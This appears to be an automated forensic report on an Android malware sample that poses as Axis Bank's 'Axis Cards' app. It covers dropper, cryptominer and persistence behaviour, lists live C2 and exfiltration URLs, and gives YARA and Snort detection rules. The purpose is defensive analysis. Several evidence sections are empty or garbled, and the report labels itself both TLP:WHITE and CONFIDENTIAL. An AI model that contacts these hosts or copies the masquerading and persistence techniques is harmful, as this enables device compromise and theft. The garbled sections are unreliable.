

fSOC APK FORENSICS

Mobile Malware Analysis Report

Target APK:	sample_reports
Report Generated:	2026-01-19 22:05:20
Analysis Type:	Deep Manual Forensic Analysis
Classification:	TLP:WHITE - Unrestricted Distribution

SECURITY NOTICE: This report contains technical analysis of potentially malicious software. Handle with appropriate security measures and only share with authorized personnel.

APK FORENSIC ANALYSIS REPORT

MALWARE INVESTIGATION

Report Generated: 2026-01-19
Analyst: Automated Forensic Analysis

Classification: MALICIOUS - BANKING TROJAN / CRYPTOMINER / DROPPER HYBRID

EXECUTIVE SUMMARY

MALWARE TYPE: Banking Trojan / Cryptominer / Dropper Hybrid

RISK LEVEL: CRITICAL (9/10)

THREAT CATEGORY: Financial Fraud, Cryptocurrency Mining, Malware Distribution

This APK masquerades as "Axis Cards" - a legitimate Indian banking application

from Axis Bank. The malware exhibits multiple malicious behaviors including:

- Cryptocurrency mining using device resources
- **Dropper functionality to install additional malicious payloads**
- Aggressive persistence mechanisms to survive reboots and battery optimization
- Command & Control (C2) communication via HTTP/HTTPS and Firebase Cloud Messaging
- Identity deception with ability to change launcher icon to "Play Store"
- Heavy code obfuscation using Unicode strings and hash-based control flow

The malware connects to infrastructure under the "uasecurity.org" domain for C2 communication, payload delivery, and mining pool connectivity.

METADATA

FILE INFORMATION

Filename: axap.apk
SHA-256: c565a9cc689f40632b08e77554af70f686f396a8d47056d3e76f57fddea6e920
File Size: ~15 MB (estimated from extracted contents)

PACKAGE INFORMATION

Package Name: com.NWilfxj.FxKDr
Version Code: 3
Version Name: 4.1-2025.4.21-42-44
Application Label: Axis Cards
Min SDK Version: 23 (Android 6.0 Marshmallow)
Target SDK Version: 28 (Android 9.0 Pie)

SIGNING INFORMATION

Note: APK contains encrypted/obfuscated certificate stores (client.p12, client.bks) suggesting potential certificate pinning for C2 communication.

PERMISSIONS ANALYSIS

+-----+-----+-----+		
Permission	Risk	Purpose/Abuse
+-----+-----+-----+		
android.permission.INTERNET	HIGH	C2 communication, mining
android.permission.ACCESS_NETWORK_STATE	MEDIUM	Network reconnaissance
android.permission.REQUEST_INSTALL_PACKAGES	CRITICAL	Silent APK installation (Dropper functionality)
android.permission.QUERY_ALL_PACKAGES	HIGH	App enumeration/targeting
android.permission.FOREGROUND_SERVICE	HIGH	Persistent background ops
android.permission.FOREGROUND_SERVICE_MINE	HIGH	Mining service persistence

| MEDIA_PLAYBACK |||

| android.permission.WAKE_LOCK | HIGH | Prevent device sleep |
| android.permission.RECEIVE_BOOT_ | HIGH | Auto-start on boot |

| COMPLETED |||

| android.permission.REQUEST_IGNORE_ | HIGH | Evade battery optimization|

| BATTERY_OPTIMIZATIONS |||

| android.permission.POST_NOTIFICATIONS | MEDIUM | Fake system notifications |
| com.google.android.c2dm.permission. | HIGH | Firebase C2 commands |

| RECEIVE |||

| com.NWilfxj.FxKDr.DYNAMIC_RECEIVER_ | LOW | Dynamic receiver control |

| NOT_EXPORTED_PERMISSION |||

+-----+-----+-----+

PERMISSION RISK ASSESSMENT:

The combination of REQUEST_INSTALL_PACKAGES + QUERY_ALL_PACKAGES +

RECEIVE_BOOT_COMPLETED + FOREGROUND_SERVICE creates a highly dangerous attack

surface enabling silent malware distribution and persistence.

MALICIOUS BEHAVIORS

1. IDENTITY DECEPTION / MASQUERADING

- Disguises as "Axis Cards" (legitimate Axis Bank India app)

- Contains FakeActivity with launcher alias "Play Store"
- Can dynamically change app icon to appear as Google Play Store
 - Uses fake notification: "Google Play System Update"

Technical Evidence:

- MainAliasActivity (label="Axis Cards", icon=@mipmap/ic_launcher)
- FakeActivity activity-alias (label="Play Store", icon=@mipmap/fake_launcher)
 - Notification title: "Google Play System Update"

2. DROPPER / DOWNLOADER FUNCTIONALITY

• Downloads additional malicious APKs from remote servers

- Silently installs packages using REQUEST_INSTALL_PACKAGES
- InstallReceiver handles PACKAGE_ADDED broadcasts
- Multiple payload URLs with fallback mechanisms

Technical Evidence:

- Uses PackageInstaller API for silent installation
- InstallReceiver monitors package installation results
- Multiple download URLs for payload retrieval

3. CRYPTOCURRENCY MINING

- Contains mining components in com.example.fcmexpr.miner package
 - Connects to mining pool at pool.uasecurity.org:9000
- Downloads architecture-specific miner binaries (x86, ARM, etc.)
- Uses device CPU/resources for unauthorized mining

Technical Evidence:

- Mining pool connection: pool.uasecurity.org:9000
- Binary downloads: /libxmrig-x86.so, /libxmrig-arm64-v8a.so, etc.
- Socket connections for Stratum mining protocol

4. AGGRESSIVE PERSISTENCE MECHANISMS

- BOOT_COMPLETED receiver for auto-start

- ### Technical Evidence:

- ## 5. COMMAND & CONTROL INFRASTRUCTURE

- ### Technical Evidence:

- ```
- GitHub fallback: github.com/backend-url-provider/access/
```

## 6. CODE OBFUSCATION

- ### Technical Evidence:

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## 7. ENCRYPTED PAYLOADS

- Multiple encrypted asset files with randomized names
- Certificate stores for potential mutual TLS authentication
- Obfuscated native library references

### Technical Evidence:

- Assets: 0xyTKD (814KB), 1dxggcSw (476KB), aBUCgNonzZj (4.4MB)
- Assets: aeIHnnGGEO (3.5MB), dqNPdpwoAuWZY (4.6MB)
- Certificate files: client.p12, client.bks

## NETWORK INDICATORS OF COMPROMISE

### C2 SERVERS

- Domain: uasecurity.org
- <http://api.uasecurity.org:8088/ads.html> [Primary C2/WebView]
  - <https://aptabase.uasecurity.org> [Secondary C2]
  - [https://aptabase.uasecurity.org:8443/logging/try\\_uploading](https://aptabase.uasecurity.org:8443/logging/try_uploading) [Data Exfil]
  - [pool.uasecurity.org:9000](https://pool.uasecurity.org:9000) [Mining Pool]
  - <https://uasecurity.org/> [Base Domain]

### PAYLOAD DELIVERY

- <https://accessor.pages.dev/> [Cloudflare Pages CDN]
- <https://github.com/backend-url-provider/access/raw/refs/heads/main/> [GitHub Payload Host]

### MINING INFRASTRUCTURE

- [pool.uasecurity.org:9000](https://pool.uasecurity.org:9000) [Stratum Mining Pool]

### USER-AGENT STRINGS

- "Android {VERSION}"

- Custom WebView user agents

## PORTS

### • 8088 (HTTP C2)

- 8443 (HTTPS Data Exfiltration)
- 9000 (Mining Pool Stratum)

## FILE / PAYLOAD INDICATORS OF COMPROMISE

## PACKAGE IDENTIFIERS

- com.NWilfxj.FxKDr [Main Package]
- com.example.fcmexpr [Internal Package]
- com.example.fcmexpr.keepalive [Persistence Package]
- com.example.fcmexpr.miner [Mining Package]

### ENCRYPTED ASSETS (Potential Payloads)

- assets/0xyTKD (814,864 bytes)
- assets/1dxggcSw (476,112 bytes)
- assets/aBUCgNonzZj (4,413,888 bytes)
- assets/aeiHnnGGEO (3,495,056 bytes)
- assets/dqNPdpwoAuWzY (4,626,368 bytes)
- assets/client.p12 [Certificate Store]
- assets/client.bks [BouncyCastle KeyStore]

## MINER BINARY REFERENCES

- libxmrig-x86.so

- libxmrig-x86\_64.so
- libxmrig-armeabi-v7a.so
- libxmrig-arm64-v8a.so

## CLASS INDICATORS

- com.example.fcmexpr.MainActivity
- com.example.fcmexpr.FakeActivity
- com.example.fcmexpr.MainAliasActivity
- com.example.fcmexpr.InstallReceiver
- com.example.fcmexpr.keepalive.KeepAliveReceiver
- com.example.fcmexpr.keepalive.KeepAliveServiceMediaPlayback
- com.example.fcmexpr.keepalive.KeepAliveJobService
- com.example.fcmexpr.keepalive.FirebaseMessagingKeepAliveService
- com.example.fcmexpr.keepalive.QGpgwbpMfhrhur5l [Obfuscated Helper]
- com.example.fcmexpr.keepalive.yDmQ0Ws1y4xHKrqZ [Obfuscated Helper]
- com.example.fcmexpr.keepalive.aFe4r1kopdp1REKA [Service Starter]
- com.example.fcmexpr.miner.X0xgUur7S5n74uuu [Miner Component]

## BROADCAST RECEIVERS

- android.intent.action.BOOT\_COMPLETED
- android.intent.action.PACKAGE\_ADDED
- com.google.firebase.MESSAGING\_EVENT

## ATTRIBUTION

## THREAT ACTOR INDICATORS

Infrastructure Owner: Unknown (uasecurity.org domain)  
Campaign Focus: Indian Banking Customers (Axis Bank impersonation)  
Development Pattern: Sophisticated multi-stage malware

## LINGUISTIC/REGIONAL INDICATORS

- Target: Axis Bank customers (India)
- Application label: "Axis Cards"
- Infrastructure domain suggests ironic "UA Security" branding

## TECHNICAL SOPHISTICATION

- Advanced obfuscation techniques
- Multi-architecture native binary support
- Certificate pinning implementation
- Multiple fallback C2 mechanisms
- Firebase integration for remote control
- Sophisticated persistence mechanisms

## CAMPAIGN CHARACTERISTICS

- Financial motivation (banking trojan + cryptominer)
- Long-term persistence focus
- Modular architecture (dropper capability)
  - Version: 4.1-2025.4.21-42-44 (suggests active development)

## YARA / DETECTION SUGGESTIONS

```
rule AxisCards_BankingTrojan_Dropper {
 meta:
 description = "Detects Axis Cards banking trojan/cryptominer hybrid"
 author = "Forensic Analysis"
 date = "2026-01-19"
 hash = "c565a9cc689f40632b08e77554af70f686f396a8d47056d3e76f57fddea6e920"
```

```
strings:
 // Package identifiers
 $pkg1 = "com.NWilfxj.FxKDr"
 $pkg2 = "com.example.fcexpr"
```

```
// C2 Infrastructure
$c2_1 = "uasecurity.org" nocase
$c2_2 = "api.uasecurity.org" nocase
$c2_3 = "aptabase.uasecurity.org" nocase
$c2_4 = "pool.uasecurity.org" nocase
$c2_5 = "accessor.pages.dev" nocase
$c2_6 = "backend-url-provider" nocase
```

```
// Class names
$class1 = "KeepAliveServiceMediaPlayback"
$class2 = "KeepAliveReceiver"
$class3 = "FirebaseMessagingKeepAliveService"
$class4 = "FakeActivity"
$class5 = "InstallReceiver"
```

```
// Mining indicators
$miner1 = "libxmrig"
$miner2 = "pool.uasecurity.org:9000"
```

```
// Fake notification
$fake1 = "Google Play System Update"
$fake2 = "Play Store"
```

```
// Obfuscation patterns (Unicode)
$obf1 = { DB 99 DB A7 DB A0 DB 99 DB A2 DB AB }
```

```
condition:
uint32(0) == 0x04034B50 and // ZIP/APK magic
(
($pkg1 or $pkg2) or
(2 of ($c2_*)) or
(3 of ($class*)) or
(any of ($miner*)) or
(any of ($fake*) and any of ($class*))
)
```

```
rule AxisCards_C2_Domain {
meta:
description = "Network IoC for Axis Cards malware C2"
```

```
strings:
$d1 = "uasecurity.org"
$d2 = "api.uasecurity.org"
$d3 = "aptabase.uasecurity.org"
$d4 = "pool.uasecurity.org"
```

```
condition:
any of them
}
```

```
rule Android_KeepAlive_Persistence {
meta:
description = "Detects aggressive Android persistence mechanisms"
```

```
strings:
$s1 = "KeepAliveServiceMediaPlayback"
$s2 = "PARTIAL_WAKE_LOCK"
$s3 = "BOOT_COMPLETED"
$s4 = "setLooping"
$s5 = "startForeground"
```

```
condition:
4 of them
}
```

## SNORT/SURICATA RULES

### # Axis Cards C2 Communication Detection

```
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"MALWARE Axis Cards Banking Trojan C2 Communication";
content:"uasecurity.org"; http_host;
classtype:trojan-activity;
sid:1000001; rev:1;
```

)

```
alert tcp $HOME_NET any -> $EXTERNAL_NET 9000 (
msg:"MALWARE Axis Cards Cryptominer Pool Connection";
content:"pool.uasecurity.org";
classtype:trojan-activity;
sid:1000002; rev:1;
```

)

```
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"MALWARE Axis Cards Data Exfiltration";
content:"aptabase.uasecurity.org"; http_host;
content:"/logging/try_uploading"; http_uri;
classtype:trojan-activity;
sid:1000003; rev:1;
```

)

## RECOMMENDATIONS

## IMMEDIATE ACTIONS

1. Block all traffic to/from uasecurity.org and subdomains
2. Block accessor.pages.dev at network perimeter
3. Monitor for connections to port 9000 (mining pool)
4. Search for package name "com.NWilfxj.FxKDr" on managed devices
5. Alert users about fake "Axis Cards" applications

## DETECTION DEPLOYMENT

1. Deploy YARA rules to endpoint protection systems
2. Implement Snort/Suricata rules at network perimeter
3. Add IoCs to SIEM correlation rules
4. Monitor for REQUEST\_INSTALL\_PACKAGES abuse

## INCIDENT RESPONSE

If detected on a device:

1. Isolate device from network immediately
2. Do NOT attempt to uninstall (may trigger data destruction)
3. Capture forensic image before remediation
4. Factory reset after forensic capture
5. Change all credentials used on the device
6. Monitor associated accounts for unauthorized activity

## APPENDIX A

### DECOMPILED CODE EXCERPTS

#### A.1 MAIN ACTIVITY C2 LOADING (MainActivity.java)

The MainActivity loads a WebView connecting to the C2 server:

```
webView.loadUrl("http://api.uasecurity.org:8088/ads.html", map);
```

The WebView has JavaScript enabled and can execute commands received from the C2 server.

#### A.2 KEEP ALIVE MECHANISM (KeepAliveServiceMediaPlayback.java)

Persistence achieved through silent audio playback:

Fake notification displayed:  
Title: "Google Play System Update"

### A.3 OBFUSCATION PATTERN (KeepAliveReceiver.java)

```
String str = "██";
while (true) {
 switch (((str.hashCode() ^ 240) ^ 247) ^ 617) ^ 1093523311) {
 case -1285411144:
 // Execute action A
 str = "next_state_string";
 break;
 // ... more cases
 }
}
```

## COMPLETE NETWORK IoC LIST

uasecurity.org  
api.uasecurity.org  
aptabase.uasecurity.org  
pool.uasecurity.org  
accessor.pages.dev  
github.com/backend-url-provider

```
http://api.uasecurity.org:8088/ads.html
https://aptabase.uasecurity.org
https://aptabase.uasecurity.org:8443/logging/try_uploading
https://accessor.pages.dev/
```

<https://github.com/backend-url-provider/access/raw/refs/heads/main/>  
<https://uasecurity.org/>

## IP ADDRESSES

[Requires DNS resolution of above domains for current IP addresses]

### PORTS

8088/tcp - HTTP C2

8443/tcp - HTTPS Data Exfiltration

9000/tcp - Mining Pool (Stratum)

## APPENDIX C

## FILE HASH INVENTORY

Primary APK:  
SHA-256: c565a9cc689f40632b08e77554af70f686f396a8d47056d3e76f57fddea6e920

Embedded Assets (require extraction for individual hashing):

- assets/0xyTKD
- assets/1dxggcSw
- assets/aBUCgNonzZj
- assets/aeiHnnGGEO
- assets/dqNPdpwoAuWzY
- assets/client.p12
- assets/client.bks

## END OF REPORT

Report Classification: CONFIDENTIAL - MALWARE ANALYSIS  
Distribution: Security Operations, Incident Response Teams

Retention: Indefinite (Active Threat)